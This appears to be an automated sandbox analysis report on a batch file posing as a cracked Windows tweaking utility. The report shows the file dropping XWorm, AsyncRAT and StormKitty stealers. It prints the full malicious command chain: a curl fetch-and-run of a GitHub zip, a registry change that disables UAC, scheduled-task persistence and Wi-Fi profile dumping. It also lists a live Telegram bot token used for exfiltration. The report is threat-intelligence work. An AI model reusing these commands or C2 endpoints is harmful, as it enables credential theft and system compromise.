asyncrat | 16431cc14917abeb316e0bc44045440a8f86b7ac4fdd0dce99de6435d493ecca

Analysis

max time kernel
150s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
26-01-2025 01:11

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General

Target

EXM_Premium_Tweaking_Utility_1.0_Cracked.bat
Size

672KB
MD5

f9ca73d63fe61c4c401528fb470ce08e
SHA1

584f69b507ddf33985673ee612e6099aff760fb1
SHA256

16431cc14917abeb316e0bc44045440a8f86b7ac4fdd0dce99de6435d493ecca
SHA512

6fd03320ec84baf09a16a127c2c0ed3c265906fcb1a3b807c13001e775c396b66539238392438a8f290be04b8b8684050736331f8f99dbe8b868b44f154dd9de
SSDEEP

3072:BIGzQbmbkAqA2xH7VkKEn14IZVvisLur+K3:BIGiVNEn14IZVvisL43

Score

10^/10

asyncrat stormkitty xworm default defense_evasion discovery execution persistence privilege_escalation rat spyware stealer trojan

Malware Config

Extracted

Family

xworm

Attributes

Install_directory
%LocalAppData%
install_file
dllhost.exe
pastebin_url
https://pastebin.com/raw/ZnhxAV6a
telegram
https://api.telegram.org/bot7376203764:AAEFwAqU9MdiHgUg8-nR20gbWW7Ua9qtU4w/sendMessage?chat_id=7541917888

Extracted

Family

asyncrat

Botnet

Default

127.0.0.1:6606

127.0.0.1:7707

127.0.0.1:8808

https://api.telegram.org/bot7376203764:AAEFwAqU9MdiHgUg8-nR20gbWW7Ua9qtU4w/sendMessage?chat_id=7541917888

Mutex

AsyncMutex_6SI8OkPnk

Attributes

delay
3
install
false
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat
Asyncrat family
asyncrat

Detect Xworm Payload 2 IoCs

resource	yara_rule
behavioral2/files/0x0008000000023c15-76.dat	family_xworm
behavioral2/memory/2708-96-0x0000000000C20000-0x0000000000C3A000-memory.dmp	family_xworm

StormKitty
StormKitty is an open source info stealer written in C#.
stealer stormkitty

StormKitty payload 2 IoCs

resource	yara_rule
behavioral2/files/0x0008000000023c16-89.dat	family_stormkitty
behavioral2/memory/232-98-0x0000000000BF0000-0x0000000000C2E000-memory.dmp	family_stormkitty

Stormkitty family
stormkitty

UAC bypass 3 TTPs 1 IoCs

defense_evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Async RAT payload 1 IoCs

rat

resource	yara_rule
behavioral2/files/0x0008000000023c16-89.dat	family_asyncrat

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\Control Panel\International\Geo\Nation	EXMservice.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\Control Panel\International\Geo\Nation	dlhost.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dllhost.lnk	dlhost.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dllhost.lnk	dlhost.exe

Executes dropped EXE 5 IoCs

pid	Process
2580	EXMservice.exe
2708	dlhost.exe
232	sihost.exe
1164	dllhost.exe
4332	dllhost.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\dllhost = "C:\\Users\\Admin\\AppData\\Local\\dllhost.exe"	dlhost.exe

Drops desktop.ini file(s) 8 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Local\faa89168490baa09fa10ccbfdb5a17b8\Admin@GUMLNLFE_en-US\Grabber\DRIVE-C\Users\Admin\Desktop\desktop.ini	sihost.exe
File opened for modification	C:\Users\Admin\AppData\Local\faa89168490baa09fa10ccbfdb5a17b8\Admin@GUMLNLFE_en-US\Grabber\DRIVE-C\Users\Admin\Desktop\desktop.ini	sihost.exe
File created	C:\Users\Admin\AppData\Local\faa89168490baa09fa10ccbfdb5a17b8\Admin@GUMLNLFE_en-US\Grabber\DRIVE-C\Users\Admin\Pictures\desktop.ini	sihost.exe
File opened for modification	C:\Users\Admin\AppData\Local\faa89168490baa09fa10ccbfdb5a17b8\Admin@GUMLNLFE_en-US\Grabber\DRIVE-C\Users\Admin\Pictures\desktop.ini	sihost.exe
File created	C:\Users\Admin\AppData\Local\faa89168490baa09fa10ccbfdb5a17b8\Admin@GUMLNLFE_en-US\Grabber\DRIVE-C\Users\Admin\Downloads\desktop.ini	sihost.exe
File created	C:\Users\Admin\AppData\Local\faa89168490baa09fa10ccbfdb5a17b8\Admin@GUMLNLFE_en-US\Grabber\DRIVE-C\Users\Admin\Documents\desktop.ini	sihost.exe
File created	C:\Users\Admin\AppData\Local\faa89168490baa09fa10ccbfdb5a17b8\Admin@GUMLNLFE_en-US\Grabber\DRIVE-C\Users\Admin\Pictures\Camera Roll\desktop.ini	sihost.exe
File created	C:\Users\Admin\AppData\Local\faa89168490baa09fa10ccbfdb5a17b8\Admin@GUMLNLFE_en-US\Grabber\DRIVE-C\Users\Admin\Pictures\Saved Pictures\desktop.ini	sihost.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 37 IoCs

Web Service

T1102

flow	ioc
117	pastebin.com
50	pastebin.com
68	pastebin.com
84	pastebin.com
85	pastebin.com
110	pastebin.com
116	pastebin.com
54	pastebin.com
81	pastebin.com
89	pastebin.com
100	pastebin.com
101	pastebin.com
72	pastebin.com
77	pastebin.com
82	pastebin.com
103	pastebin.com
122	pastebin.com
62	pastebin.com
71	pastebin.com
79	pastebin.com
114	pastebin.com
119	pastebin.com
90	pastebin.com
104	pastebin.com
106	pastebin.com
113	pastebin.com
69	pastebin.com
73	pastebin.com
98	pastebin.com
107	pastebin.com
109	pastebin.com
112	pastebin.com
51	pastebin.com
53	pastebin.com
91	pastebin.com
94	pastebin.com
120	pastebin.com

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
46	ip-api.com
55	icanhazip.com

Looks up geolocation information via web service
Uses a legitimate geolocation service to find the infected system's geolocation info.
Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2252	powershell.exe
1232	powershell.exe
2924	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 6 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe

System Location Discovery: System Language Discovery 1 TTPs 8 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	chcp.com
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sihost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	chcp.com
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
4036	cmd.exe
1520	netsh.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\Description\System\CentralProcessor\0	sihost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	sihost.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
3600	schtasks.exe

Suspicious behavior: EnumeratesProcesses 29 IoCs

pid	Process
2252	powershell.exe
2252	powershell.exe
1232	powershell.exe
1232	powershell.exe
232	sihost.exe
232	sihost.exe
232	sihost.exe
232	sihost.exe
232	sihost.exe
232	sihost.exe
232	sihost.exe
232	sihost.exe
232	sihost.exe
232	sihost.exe
232	sihost.exe
232	sihost.exe
232	sihost.exe
232	sihost.exe
232	sihost.exe
232	sihost.exe
232	sihost.exe
232	sihost.exe
232	sihost.exe
232	sihost.exe
232	sihost.exe
232	sihost.exe
232	sihost.exe
2924	powershell.exe
2924	powershell.exe

Suspicious use of AdjustPrivilegeToken 49 IoCs

description	pid	Process
Token: SeDebugPrivilege	2252	powershell.exe
Token: SeIncreaseQuotaPrivilege	408	WMIC.exe
Token: SeSecurityPrivilege	408	WMIC.exe
Token: SeTakeOwnershipPrivilege	408	WMIC.exe
Token: SeLoadDriverPrivilege	408	WMIC.exe
Token: SeSystemProfilePrivilege	408	WMIC.exe
Token: SeSystemtimePrivilege	408	WMIC.exe
Token: SeProfSingleProcessPrivilege	408	WMIC.exe
Token: SeIncBasePriorityPrivilege	408	WMIC.exe
Token: SeCreatePagefilePrivilege	408	WMIC.exe
Token: SeBackupPrivilege	408	WMIC.exe
Token: SeRestorePrivilege	408	WMIC.exe
Token: SeShutdownPrivilege	408	WMIC.exe
Token: SeDebugPrivilege	408	WMIC.exe
Token: SeSystemEnvironmentPrivilege	408	WMIC.exe
Token: SeRemoteShutdownPrivilege	408	WMIC.exe
Token: SeUndockPrivilege	408	WMIC.exe
Token: SeManageVolumePrivilege	408	WMIC.exe
Token: 33	408	WMIC.exe
Token: 34	408	WMIC.exe
Token: 35	408	WMIC.exe
Token: 36	408	WMIC.exe
Token: SeIncreaseQuotaPrivilege	408	WMIC.exe
Token: SeSecurityPrivilege	408	WMIC.exe
Token: SeTakeOwnershipPrivilege	408	WMIC.exe
Token: SeLoadDriverPrivilege	408	WMIC.exe
Token: SeSystemProfilePrivilege	408	WMIC.exe
Token: SeSystemtimePrivilege	408	WMIC.exe
Token: SeProfSingleProcessPrivilege	408	WMIC.exe
Token: SeIncBasePriorityPrivilege	408	WMIC.exe
Token: SeCreatePagefilePrivilege	408	WMIC.exe
Token: SeBackupPrivilege	408	WMIC.exe
Token: SeRestorePrivilege	408	WMIC.exe
Token: SeShutdownPrivilege	408	WMIC.exe
Token: SeDebugPrivilege	408	WMIC.exe
Token: SeSystemEnvironmentPrivilege	408	WMIC.exe
Token: SeRemoteShutdownPrivilege	408	WMIC.exe
Token: SeUndockPrivilege	408	WMIC.exe
Token: SeManageVolumePrivilege	408	WMIC.exe
Token: 33	408	WMIC.exe
Token: 34	408	WMIC.exe
Token: 35	408	WMIC.exe
Token: 36	408	WMIC.exe
Token: SeDebugPrivilege	1232	powershell.exe
Token: SeDebugPrivilege	2708	dlhost.exe
Token: SeDebugPrivilege	232	sihost.exe
Token: SeDebugPrivilege	2924	powershell.exe
Token: SeDebugPrivilege	1164	dllhost.exe
Token: SeDebugPrivilege	4332	dllhost.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1408 wrote to memory of 1244	1408	cmd.exe	84
PID 1408 wrote to memory of 1244	1408	cmd.exe	84
PID 1408 wrote to memory of 1920	1408	cmd.exe	85
PID 1408 wrote to memory of 1920	1408	cmd.exe	85
PID 1408 wrote to memory of 2552	1408	cmd.exe	86
PID 1408 wrote to memory of 2552	1408	cmd.exe	86
PID 1408 wrote to memory of 2252	1408	cmd.exe	87
PID 1408 wrote to memory of 2252	1408	cmd.exe	87
PID 1408 wrote to memory of 1392	1408	cmd.exe	90
PID 1408 wrote to memory of 1392	1408	cmd.exe	90
PID 1408 wrote to memory of 968	1408	cmd.exe	91
PID 1408 wrote to memory of 968	1408	cmd.exe	91
PID 1408 wrote to memory of 1604	1408	cmd.exe	92
PID 1408 wrote to memory of 1604	1408	cmd.exe	92
PID 1604 wrote to memory of 408	1604	cmd.exe	93
PID 1604 wrote to memory of 408	1604	cmd.exe	93
PID 1604 wrote to memory of 1772	1604	cmd.exe	94
PID 1604 wrote to memory of 1772	1604	cmd.exe	94
PID 1408 wrote to memory of 1648	1408	cmd.exe	95
PID 1408 wrote to memory of 1648	1408	cmd.exe	95
PID 1408 wrote to memory of 4696	1408	cmd.exe	110
PID 1408 wrote to memory of 4696	1408	cmd.exe	110
PID 1408 wrote to memory of 916	1408	cmd.exe	111
PID 1408 wrote to memory of 916	1408	cmd.exe	111
PID 1408 wrote to memory of 1232	1408	cmd.exe	113
PID 1408 wrote to memory of 1232	1408	cmd.exe	113
PID 1408 wrote to memory of 2580	1408	cmd.exe	114
PID 1408 wrote to memory of 2580	1408	cmd.exe	114
PID 2580 wrote to memory of 2708	2580	EXMservice.exe	115
PID 2580 wrote to memory of 2708	2580	EXMservice.exe	115
PID 2580 wrote to memory of 232	2580	EXMservice.exe	116
PID 2580 wrote to memory of 232	2580	EXMservice.exe	116
PID 2580 wrote to memory of 232	2580	EXMservice.exe	116
PID 1408 wrote to memory of 2360	1408	cmd.exe	117
PID 1408 wrote to memory of 2360	1408	cmd.exe	117
PID 2708 wrote to memory of 3600	2708	dlhost.exe	122
PID 2708 wrote to memory of 3600	2708	dlhost.exe	122
PID 232 wrote to memory of 4036	232	sihost.exe	124
PID 232 wrote to memory of 4036	232	sihost.exe	124
PID 232 wrote to memory of 4036	232	sihost.exe	124
PID 4036 wrote to memory of 2612	4036	cmd.exe	126
PID 4036 wrote to memory of 2612	4036	cmd.exe	126
PID 4036 wrote to memory of 2612	4036	cmd.exe	126
PID 4036 wrote to memory of 1520	4036	cmd.exe	127
PID 4036 wrote to memory of 1520	4036	cmd.exe	127
PID 4036 wrote to memory of 1520	4036	cmd.exe	127
PID 4036 wrote to memory of 2668	4036	cmd.exe	128
PID 4036 wrote to memory of 2668	4036	cmd.exe	128
PID 4036 wrote to memory of 2668	4036	cmd.exe	128
PID 232 wrote to memory of 4000	232	sihost.exe	129
PID 232 wrote to memory of 4000	232	sihost.exe	129
PID 232 wrote to memory of 4000	232	sihost.exe	129
PID 4000 wrote to memory of 2252	4000	cmd.exe	131
PID 4000 wrote to memory of 2252	4000	cmd.exe	131
PID 4000 wrote to memory of 2252	4000	cmd.exe	131
PID 4000 wrote to memory of 64	4000	cmd.exe	132
PID 4000 wrote to memory of 64	4000	cmd.exe	132
PID 4000 wrote to memory of 64	4000	cmd.exe	132
PID 1408 wrote to memory of 3532	1408	cmd.exe	133
PID 1408 wrote to memory of 3532	1408	cmd.exe	133
PID 1408 wrote to memory of 928	1408	cmd.exe	134
PID 1408 wrote to memory of 928	1408	cmd.exe	134
PID 1408 wrote to memory of 1864	1408	cmd.exe	135
PID 1408 wrote to memory of 1864	1408	cmd.exe	135

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\EXM_Premium_Tweaking_Utility_1.0_Cracked.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1408
- C:\Windows\system32\reg.exe
  Reg.exe delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\SystemRestore" /v "RPSessionInterval" /f
  2⤵
  PID:1244
- C:\Windows\system32\reg.exe
  Reg.exe delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\SystemRestore" /v "DisableConfig" /f
  2⤵
  PID:1920
- C:\Windows\system32\reg.exe
  Reg.exe add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\SystemRestore" /v "SystemRestorePointCreationFrequency" /t REG_DWORD /d 0 /f
  2⤵
  PID:2552
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -ExecutionPolicy Unrestricted -NoProfile Enable-ComputerRestore -Drive 'C:\'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2252
- C:\Windows\system32\reg.exe
  Reg.exe ADD "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "EnableLUA" /t REG_DWORD /d "0" /f
  2⤵
  - UAC bypass
  PID:1392
- C:\Windows\system32\reg.exe
  Reg.exe add "HKCU\CONSOLE" /v "VirtualTerminalLevel" /t REG_DWORD /d "1" /f
  2⤵
  PID:968
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c wmic path Win32_UserAccount where name="Admin" get sid | findstr "S-"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1604
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic path Win32_UserAccount where name="Admin" get sid
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:408
- - C:\Windows\system32\findstr.exe
    findstr "S-"
    3⤵
    PID:1772
- C:\Windows\system32\chcp.com
  chcp 65001
  2⤵
  PID:1648
- C:\Windows\system32\chcp.com
  chcp 437
  2⤵
  PID:4696
- C:\Windows\system32\curl.exe
  curl -g -k -L -# -o "C:\Users\Admin\AppData\Local\Temp\exm.zip" "https://github.com/anonyketa/EXM-Tweaking-Utility-Premium/releases/download/V1.0/exm.zip"
  2⤵
  PID:916
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile Expand-Archive 'C:\Users\Admin\AppData\Local\Temp\exm.zip' -DestinationPath 'C:\Exm\'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1232
- C:\exm\EXMservice.exe
  EXMservice.exe
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:2580
- - C:\ProgramData\dlhost.exe
    "C:\ProgramData\dlhost.exe"
    3⤵
    - Checks computer location settings
    - Drops startup file
    - Executes dropped EXE
    - Adds Run key to start application
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2708
  - - C:\Windows\System32\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "dllhost" /tr "C:\Users\Admin\AppData\Local\dllhost.exe"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:3600
- - C:\ProgramData\sihost.exe
    "C:\ProgramData\sihost.exe"
    3⤵
    - Executes dropped EXE
    - Drops desktop.ini file(s)
    - System Location Discovery: System Language Discovery
    - Checks processor information in registry
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:232
  - - C:\Windows\SysWOW64\cmd.exe
      "cmd.exe" /C chcp 65001 && netsh wlan show profile | findstr All
      4⤵
      System Location Discovery: System Language Discovery
      System Network Configuration Discovery: Wi-Fi Discovery
      Suspicious use of WriteProcessMemory
      PID:4036
    - - C:\Windows\SysWOW64\chcp.com
        
        chcp 65001
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:2612
    - - C:\Windows\SysWOW64\netsh.exe
        
        netsh wlan show profile
        5⤵
        Event Triggered Execution: Netsh Helper DLL
        System Location Discovery: System Language Discovery
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:1520
    - - C:\Windows\SysWOW64\findstr.exe
        
        findstr All
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:2668
  - - C:\Windows\SysWOW64\cmd.exe
      "cmd.exe" /C chcp 65001 && netsh wlan show networks mode=bssid
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:4000
    - - C:\Windows\SysWOW64\chcp.com
        
        chcp 65001
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:2252
    - - C:\Windows\SysWOW64\netsh.exe
        
        netsh wlan show networks mode=bssid
        5⤵
        Event Triggered Execution: Netsh Helper DLL
        System Location Discovery: System Language Discovery
        
        PID:64
- C:\Windows\system32\chcp.com
  chcp 65001
  2⤵
  PID:2360
- C:\Windows\system32\reg.exe
  Reg.exe add "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management" /v "LargeSystemCache" /t REG_DWORD /d "1" /f
  2⤵
  PID:3532
- C:\Windows\system32\reg.exe
  Reg.exe add "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management" /v "ClearPageFileAtShutdown" /t REG_DWORD /d "0" /f
  2⤵
  PID:928
- C:\Windows\system32\reg.exe
  Reg.exe add "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management" /v "DisablePagingExecutive" /t REG_DWORD /d "1" /f
  2⤵
  PID:1864
- C:\Windows\system32\reg.exe
  Reg.exe add "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management" /v "LargeSystemCache" /t REG_DWORD /d "0" /f
  2⤵
  PID:1460
- C:\Windows\system32\reg.exe
  Reg.exe add "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management" /v "NonPagedPoolQuota" /t REG_DWORD /d "0" /f
  2⤵
  PID:3700
- C:\Windows\system32\reg.exe
  Reg.exe add "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management" /v "NonPagedPoolSize" /t REG_DWORD /d "0" /f
  2⤵
  PID:4700
- C:\Windows\system32\reg.exe
  Reg.exe add "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management" /v "PagedPoolQuota" /t REG_DWORD /d "0" /f
  2⤵
  PID:2248
- C:\Windows\system32\reg.exe
  Reg.exe add "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management" /v "PagedPoolSize" /t REG_DWORD /d "192" /f
  2⤵
  PID:5036
- C:\Windows\system32\reg.exe
  Reg.exe add "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management" /v "SecondLevelDataCache" /t REG_DWORD /d "1024" /f
  2⤵
  PID:3932
- C:\Windows\system32\reg.exe
  Reg.exe add "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management" /v "SessionPoolSize" /t REG_DWORD /d "192" /f
  2⤵
  PID:2116
- C:\Windows\system32\reg.exe
  Reg.exe add "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management" /v "SessionViewSize" /t REG_DWORD /d "192" /f
  2⤵
  PID:2112
- C:\Windows\system32\reg.exe
  Reg.exe add "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management" /v "SystemPages" /t REG_DWORD /d "4294967295" /f
  2⤵
  PID:4572
- C:\Windows\system32\reg.exe
  Reg.exe add "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management" /v "PhysicalAddressExtension" /t REG_DWORD /d "1" /f
  2⤵
  PID:2616
- C:\Windows\system32\reg.exe
  Reg.exe add "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management" /v "ClearPageFileAtShutdown" /t REG_DWORD /d "0" /f
  2⤵
  PID:5100
- C:\Windows\system32\reg.exe
  Reg.exe add "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management" /v "DisablePagingExecutive" /t REG_DWORD /d "1" /f
  2⤵
  PID:2844
- C:\Windows\system32\reg.exe
  Reg.exe add "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management" /v "LargeSystemCache" /t REG_DWORD /d "0" /f
  2⤵
  PID:4060
- C:\Windows\system32\reg.exe
  Reg.exe add "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management" /v "NonPagedPoolQuota" /t REG_DWORD /d "0" /f
  2⤵
  PID:264
- C:\Windows\system32\reg.exe
  Reg.exe add "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management" /v "NonPagedPoolSize" /t REG_DWORD /d "0" /f
  2⤵
  PID:4608
- C:\Windows\system32\reg.exe
  Reg.exe add "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management" /v "PagedPoolQuota" /t REG_DWORD /d "0" /f
  2⤵
  PID:4172
- C:\Windows\system32\reg.exe
  Reg.exe add "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management" /v "PagedPoolSize" /t REG_DWORD /d "192" /f
  2⤵
  PID:4884
- C:\Windows\system32\reg.exe
  Reg.exe add "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management" /v "SecondLevelDataCache" /t REG_DWORD /d "1024" /f
  2⤵
  PID:1400
- C:\Windows\system32\reg.exe
  Reg.exe add "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management" /v "SessionPoolSize" /t REG_DWORD /d "192" /f
  2⤵
  PID:2628
- C:\Windows\system32\reg.exe
  Reg.exe add "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management" /v "SessionViewSize" /t REG_DWORD /d "192" /f
  2⤵
  PID:1684
- C:\Windows\system32\reg.exe
  Reg.exe add "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management" /v "SystemPages" /t REG_DWORD /d "4294967295" /f
  2⤵
  PID:1524
- C:\Windows\system32\reg.exe
  Reg.exe add "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management" /v "PhysicalAddressExtension" /t REG_DWORD /d "1" /f
  2⤵
  PID:2432
- C:\Windows\system32\reg.exe
  Reg.exe add "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management" /v "FeatureSettings" /t REG_DWORD /d "1" /f
  2⤵
  PID:4492
- C:\Windows\system32\reg.exe
  Reg.exe add "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management" /v "FeatureSettingsOverride" /t REG_DWORD /d "3" /f
  2⤵
  PID:2900
- C:\Windows\system32\reg.exe
  Reg.exe add "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management" /v "FeatureSettingsOverrideMask" /t REG_DWORD /d "3" /f
  2⤵
  PID:1756
- C:\Windows\system32\reg.exe
  Reg.exe add "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management" /v "PoolUsageMaximum" /t REG_DWORD /d "96" /f
  2⤵
  PID:1800
- C:\Windows\system32\chcp.com
  chcp 437
  2⤵
  PID:944
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "& {Add-Type -AssemblyName System.Windows.Forms; [System.Windows.Forms.MessageBox]::Show('ONLY DO THESE ON ETHERNET, WIFI TWEAKS COMING IN 1.0', 'Exm Tweaking Utility', 'Ok', [System.Windows.Forms.MessageBoxIcon]::Information);}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2924
- C:\Windows\system32\chcp.com
  chcp 65001
  2⤵
  PID:4968

C:\Users\Admin\AppData\Local\dllhost.exe
C:\Users\Admin\AppData\Local\dllhost.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1164

C:\Users\Admin\AppData\Local\dllhost.exe
C:\Users\Admin\AppData\Local\dllhost.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4332

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

